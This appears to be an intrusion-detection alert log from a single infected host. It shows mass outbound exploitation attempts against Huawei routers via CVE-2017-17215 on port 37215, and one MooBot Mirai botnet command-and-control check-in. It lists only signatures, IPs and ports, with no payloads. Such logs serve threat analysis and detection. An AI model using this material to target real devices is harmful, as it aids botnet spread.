ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.131.73.36

Timestamp:	2024-08-01T15:35:35.138628+0200
SID:	2835222
Source Port:	53860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.67.20.98

Timestamp:	2024-08-01T15:35:17.170866+0200
SID:	2835222
Source Port:	39008
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.86.134.204

Timestamp:	2024-08-01T15:35:40.237251+0200
SID:	2835222
Source Port:	50238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.141.216.101

Timestamp:	2024-08-01T15:35:20.204250+0200
SID:	2835222
Source Port:	45042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.173.155.139

Timestamp:	2024-08-01T15:35:40.230259+0200
SID:	2835222
Source Port:	44554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 62.222.130.145

Timestamp:	2024-08-01T15:35:50.286224+0200
SID:	2835222
Source Port:	56944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.69.114.77

Timestamp:	2024-08-01T15:36:52.688020+0200
SID:	2835222
Source Port:	43312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 70.8.26.199

Timestamp:	2024-08-01T15:35:40.240466+0200
SID:	2835222
Source Port:	45186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 32.158.97.246

Timestamp:	2024-08-01T15:36:06.687529+0200
SID:	2835222
Source Port:	36186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.5.84.111

Timestamp:	2024-08-01T15:36:22.457812+0200
SID:	2835222
Source Port:	36188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.120.19.107

Timestamp:	2024-08-01T15:36:24.468479+0200
SID:	2835222
Source Port:	50594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.122.206.183

Timestamp:	2024-08-01T15:36:53.698572+0200
SID:	2835222
Source Port:	53732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.188.198.128

Timestamp:	2024-08-01T15:36:49.568597+0200
SID:	2835222
Source Port:	56678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.74.128.205

Timestamp:	2024-08-01T15:35:20.205700+0200
SID:	2835222
Source Port:	34030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.132.40.129

Timestamp:	2024-08-01T15:36:18.261098+0200
SID:	2835222
Source Port:	56436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.19.193.117

Timestamp:	2024-08-01T15:35:21.857706+0200
SID:	2835222
Source Port:	46960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.119.171.97

Timestamp:	2024-08-01T15:36:32.872626+0200
SID:	2835222
Source Port:	60488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.132.145.241

Timestamp:	2024-08-01T15:35:37.209888+0200
SID:	2835222
Source Port:	56180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.14.0.109

Timestamp:	2024-08-01T15:35:58.786177+0200
SID:	2835222
Source Port:	35090
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 222.142.83.55

Timestamp:	2024-08-01T15:34:57.060329+0200
SID:	2835222
Source Port:	43680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 117.187.225.22

Timestamp:	2024-08-01T15:35:20.203267+0200
SID:	2835222
Source Port:	35848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.121.194.218

Timestamp:	2024-08-01T15:35:20.216374+0200
SID:	2835222
Source Port:	50436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 222.229.210.86

Timestamp:	2024-08-01T15:35:25.978854+0200
SID:	2835222
Source Port:	56050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 82.13.12.239

Timestamp:	2024-08-01T15:36:06.736371+0200
SID:	2835222
Source Port:	36514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.31.132.85

Timestamp:	2024-08-01T15:35:21.928396+0200
SID:	2835222
Source Port:	60002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 188.108.83.39

Timestamp:	2024-08-01T15:35:21.895051+0200
SID:	2835222
Source Port:	33682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.203.138.75

Timestamp:	2024-08-01T15:35:40.228768+0200
SID:	2835222
Source Port:	58990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 121.164.156.2

Timestamp:	2024-08-01T15:36:14.855881+0200
SID:	2835222
Source Port:	56504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.142.125.69

Timestamp:	2024-08-01T15:36:16.184128+0200
SID:	2835222
Source Port:	60210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 169.58.213.52

Timestamp:	2024-08-01T15:35:20.211348+0200
SID:	2835222
Source Port:	52746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.238.235.163

Timestamp:	2024-08-01T15:36:32.218173+0200
SID:	2030490
Source Port:	36674
Destination Port:	56999
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 46.44.241.217

Timestamp:	2024-08-01T15:36:24.792257+0200
SID:	2835222
Source Port:	37946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 196.93.227.43

Timestamp:	2024-08-01T15:36:03.054703+0200
SID:	2835222
Source Port:	42954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 82.116.139.160

Timestamp:	2024-08-01T15:35:20.215018+0200
SID:	2835222
Source Port:	58240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.189.50.111

Timestamp:	2024-08-01T15:35:23.936503+0200
SID:	2835222
Source Port:	42790
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.118.102.241

Timestamp:	2024-08-01T15:36:24.438976+0200
SID:	2835222
Source Port:	60776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.50.154.212

Timestamp:	2024-08-01T15:35:17.244587+0200
SID:	2835222
Source Port:	49558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 100.252.103.55

Timestamp:	2024-08-01T15:35:20.575004+0200
SID:	2835222
Source Port:	60868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 87.10.38.67

Timestamp:	2024-08-01T15:35:48.348098+0200
SID:	2835222
Source Port:	41128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 148.35.167.224

Timestamp:	2024-08-01T15:35:17.159117+0200
SID:	2835222
Source Port:	54052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.192.250.58

Timestamp:	2024-08-01T15:35:50.651604+0200
SID:	2835222
Source Port:	55404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.251.50.112

Timestamp:	2024-08-01T15:36:11.966703+0200
SID:	2835222
Source Port:	57710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.181.192.16

Timestamp:	2024-08-01T15:35:37.233575+0200
SID:	2835222
Source Port:	40360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.253.51.95

Timestamp:	2024-08-01T15:36:34.856172+0200
SID:	2835222
Source Port:	58682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.57.88.125

Timestamp:	2024-08-01T15:35:20.213388+0200
SID:	2835222
Source Port:	42612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 183.120.152.239

Timestamp:	2024-08-01T15:36:14.837732+0200
SID:	2835222
Source Port:	42142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.195.71.24

Timestamp:	2024-08-01T15:36:22.338733+0200
SID:	2835222
Source Port:	60700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.82.241.173

Timestamp:	2024-08-01T15:35:21.827519+0200
SID:	2835222
Source Port:	46784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.168.134.231

Timestamp:	2024-08-01T15:35:20.545763+0200
SID:	2835222
Source Port:	37500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 34.114.172.79

Timestamp:	2024-08-01T15:35:17.040005+0200
SID:	2835222
Source Port:	58596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 149.176.208.237

Timestamp:	2024-08-01T15:35:20.206941+0200
SID:	2835222
Source Port:	50822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.48.88.81

Timestamp:	2024-08-01T15:36:39.297061+0200
SID:	2835222
Source Port:	54458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.74.144.4

Timestamp:	2024-08-01T15:36:14.819120+0200
SID:	2835222
Source Port:	49142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.61.190.136

Timestamp:	2024-08-01T15:35:28.720685+0200
SID:	2835222
Source Port:	41060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.62.255.255

Timestamp:	2024-08-01T15:35:16.903811+0200
SID:	2835222
Source Port:	40426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.129.222.7

Timestamp:	2024-08-01T15:35:26.064752+0200
SID:	2835222
Source Port:	36584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.88.176.209

Timestamp:	2024-08-01T15:35:16.759849+0200
SID:	2835222
Source Port:	41596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.107.85.170

Timestamp:	2024-08-01T15:35:20.545419+0200
SID:	2835222
Source Port:	41578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 220.231.91.209

Timestamp:	2024-08-01T15:34:54.844175+0200
SID:	2835222
Source Port:	41452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.184.121.122

Timestamp:	2024-08-01T15:36:09.889008+0200
SID:	2835222
Source Port:	56404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.43.100.163

Timestamp:	2024-08-01T15:35:21.883443+0200
SID:	2835222
Source Port:	35164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.47.38.45

Timestamp:	2024-08-01T15:35:21.839471+0200
SID:	2835222
Source Port:	59212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.19.184.207

Timestamp:	2024-08-01T15:35:21.920843+0200
SID:	2835222
Source Port:	53804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.155.175.55

Timestamp:	2024-08-01T15:36:06.677748+0200
SID:	2835222
Source Port:	33046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.214.156.161

Timestamp:	2024-08-01T15:35:20.207031+0200
SID:	2835222
Source Port:	51818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 160.149.238.205

Timestamp:	2024-08-01T15:35:20.206089+0200
SID:	2835222
Source Port:	33234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.61.104.38

Timestamp:	2024-08-01T15:35:37.222262+0200
SID:	2835222
Source Port:	45502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 66.181.120.244

Timestamp:	2024-08-01T15:36:09.901730+0200
SID:	2835222
Source Port:	41046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 217.249.197.83

Timestamp:	2024-08-01T15:35:21.908846+0200
SID:	2835222
Source Port:	40986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 118.147.89.129

Timestamp:	2024-08-01T15:35:20.545718+0200
SID:	2835222
Source Port:	55618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.173.88.168

Timestamp:	2024-08-01T15:35:20.206515+0200
SID:	2835222
Source Port:	57054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.46.126.180

Timestamp:	2024-08-01T15:36:51.565125+0200
SID:	2835222
Source Port:	42978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.177.172.89

Timestamp:	2024-08-01T15:35:17.267221+0200
SID:	2835222
Source Port:	49552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.208.134.203

Timestamp:	2024-08-01T15:35:40.242678+0200
SID:	2835222
Source Port:	60630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 150.202.107.179

Timestamp:	2024-08-01T15:35:20.204426+0200
SID:	2835222
Source Port:	32902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 54.12.112.146

Timestamp:	2024-08-01T15:36:06.686542+0200
SID:	2835222
Source Port:	50000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.243.3.39

Timestamp:	2024-08-01T15:35:20.205065+0200
SID:	2835222
Source Port:	39210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.39.66.254

Timestamp:	2024-08-01T15:36:09.884265+0200
SID:	2835222
Source Port:	33340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.193.214.214

Timestamp:	2024-08-01T15:36:16.182117+0200
SID:	2835222
Source Port:	59144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.37.239.222

Timestamp:	2024-08-01T15:35:20.575008+0200
SID:	2835222
Source Port:	34118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.91.38.97

Timestamp:	2024-08-01T15:35:16.446858+0200
SID:	2835222
Source Port:	33660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.218.191.39

Timestamp:	2024-08-01T15:35:40.225303+0200
SID:	2835222
Source Port:	32950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.83.25.177

Timestamp:	2024-08-01T15:35:20.214629+0200
SID:	2835222
Source Port:	42762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.246.219.118

Timestamp:	2024-08-01T15:35:20.203742+0200
SID:	2835222
Source Port:	53946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 208.102.137.140

Timestamp:	2024-08-01T15:35:17.317726+0200
SID:	2835222
Source Port:	51960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 83.124.132.190

Timestamp:	2024-08-01T15:35:20.205749+0200
SID:	2835222
Source Port:	57102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.68.206.241

Timestamp:	2024-08-01T15:36:34.854468+0200
SID:	2835222
Source Port:	58232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 208.67.56.114

Timestamp:	2024-08-01T15:35:20.205962+0200
SID:	2835222
Source Port:	41812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.0.127.255

Timestamp:	2024-08-01T15:35:50.269791+0200
SID:	2835222
Source Port:	55402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 92.25.88.200

Timestamp:	2024-08-01T15:36:26.556328+0200
SID:	2835222
Source Port:	37322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.139.84.49

Timestamp:	2024-08-01T15:35:20.203017+0200
SID:	2835222
Source Port:	42674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.12.104.26

Timestamp:	2024-08-01T15:35:20.205835+0200
SID:	2835222
Source Port:	60292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.53.153.51

Timestamp:	2024-08-01T15:35:20.202681+0200
SID:	2835222
Source Port:	35032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.89.31.71

Timestamp:	2024-08-01T15:35:20.545587+0200
SID:	2835222
Source Port:	58542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.12.7.143

Timestamp:	2024-08-01T15:35:21.850059+0200
SID:	2835222
Source Port:	48870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.247.14.236

Timestamp:	2024-08-01T15:36:24.438235+0200
SID:	2835222
Source Port:	44566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.220.56.207

Timestamp:	2024-08-01T15:36:20.303136+0200
SID:	2835222
Source Port:	41284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.23.152.245

Timestamp:	2024-08-01T15:35:20.204557+0200
SID:	2835222
Source Port:	56238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.79.237.7

Timestamp:	2024-08-01T15:36:56.030350+0200
SID:	2835222
Source Port:	45722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

